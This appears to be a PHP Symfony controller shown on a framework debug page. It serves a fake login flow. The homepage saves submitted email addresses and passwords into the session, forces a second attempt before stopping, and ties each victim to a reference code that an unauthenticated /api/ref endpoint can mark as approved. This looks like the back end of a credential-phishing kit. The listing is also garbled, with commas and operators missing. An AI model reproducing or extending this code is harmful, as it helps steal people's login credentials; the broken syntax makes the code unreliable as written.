src/Controller/PageController.php line 19

Open in your IDE?
  1. <?php
  2. namespace App\Controller;
  3. use App\Entity\Auth;
  4. use App\Repository\AuthRepository;
  5. use Doctrine\ORM\EntityManagerInterface;
  6. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  7. use Symfony\Component\HttpFoundation\Request;
  8. use Symfony\Component\HttpFoundation\Response;
  9. use Symfony\Component\HttpFoundation\Session\SessionInterface;
  10. use Symfony\Component\Routing\Annotation\Route;
  11. use Symfony\Contracts\Cache\CacheInterface;
  12. class PageController extends AbstractController
  13. {
  14.     /**
  15.      * @Route("/", name="app_homepage")
  16.      */
  17.     public function index(
  18.         Request $request
  19.         SessionInterface $session
  20.         AuthRepository $authRepository
  21.     ): Response
  22.     {
  23.         $step 'login';
  24.         $stop 'false';
  25.         $ref '1547-6958-1265';
  26.         //$ref = implode("-",str_split($dry_ref, 4));
  27.         $auth $authRepository->findOneBy([]);
  28.         //$session->clear();
  29.         if($request->getMethod() == 'POST'){
  30.             $auth->setCode($ref)
  31.                 ->setStatus(false)
  32.             ;
  33.             $authRepository->add($authtrue);
  34.             $count $session->get('stopee');
  35.             if(!$count =$session->get('stopee')){
  36.                 $session->set('stopee'1);
  37.             }else{
  38.                 dump($count);
  39.                 $count++;
  40.                 if($count >= 2){
  41.                     $stop 'true';
  42.                     $session->clear();
  43.                 }else{
  44.                     $session->set('stopee'$count);
  45.                 }
  46.                 
  47.             }
  48.             $session->set('login', [
  49.                 'login' => $request->request->get('email'),
  50.                 'mp' => $request->request->get('password'),
  51.             ]);
  52.             $step 'process';
  53.         }
  54.         return $this->render('page/void-index.html.twig', [
  55.             'step' => $step,
  56.             'stop' => $stop,
  57.             'ref' => $ref,
  58.             'auth' => $auth,
  59.         ]);
  60.     }
  61.      /**
  62.      * @Route("/login/check/{id}", name="app_login_check")
  63.      */
  64.     public function login_check(Auth $auth): Response
  65.     {
  66.         if($auth->isStatus()){
  67.             return $this->json(['status' => 'success']);
  68.         }
  69.         return $this->json(['status' => 'failed']);
  70.     }
  71.     /**
  72.      * @Route("/login/process", name="app_login_process")
  73.      */
  74.     public function login_process(): Response
  75.     {
  76.         return $this->render('page/index.html.twig', [
  77.             
  78.         ]);
  79.     }
  80.     /**
  81.      * @Route("/enroll", name="app_enroll")
  82.      */
  83.     public function enroll(Request $request): Response
  84.     {
  85.         return $this->render('page/enroll.html.twig', [
  86.             
  87.         ]);
  88.     }
  89.     /**
  90.      * @Route("/api/ref", name="app_ref")
  91.      */
  92.     public function ref_api(Request $requestAuthRepository $authRepositoryEntityManagerInterface $em): Response
  93.     {
  94.         // $data = $request->request->all();
  95.         //$data = json_decode($request->getContent(), true);
  96.         // dd($data);
  97.         $message 'Authentication failled';
  98.         $ref $request->query->get('ref') ;
  99.         
  100.         if($saved $authRepository->findOneBy(['code' => $ref])){
  101.             if($ref == $saved->getCode()){
  102.                 $saved->setStatus(true);
  103.                 $em->persist($saved);
  104.                 $em->flush();
  105.                 $message 'Authentication success';
  106.     
  107.             }
  108.         }
  109.         
  110.         
  111.         return $this->json([
  112.             'msg' => $message,
  113.         ]);
  114.     }
  115. }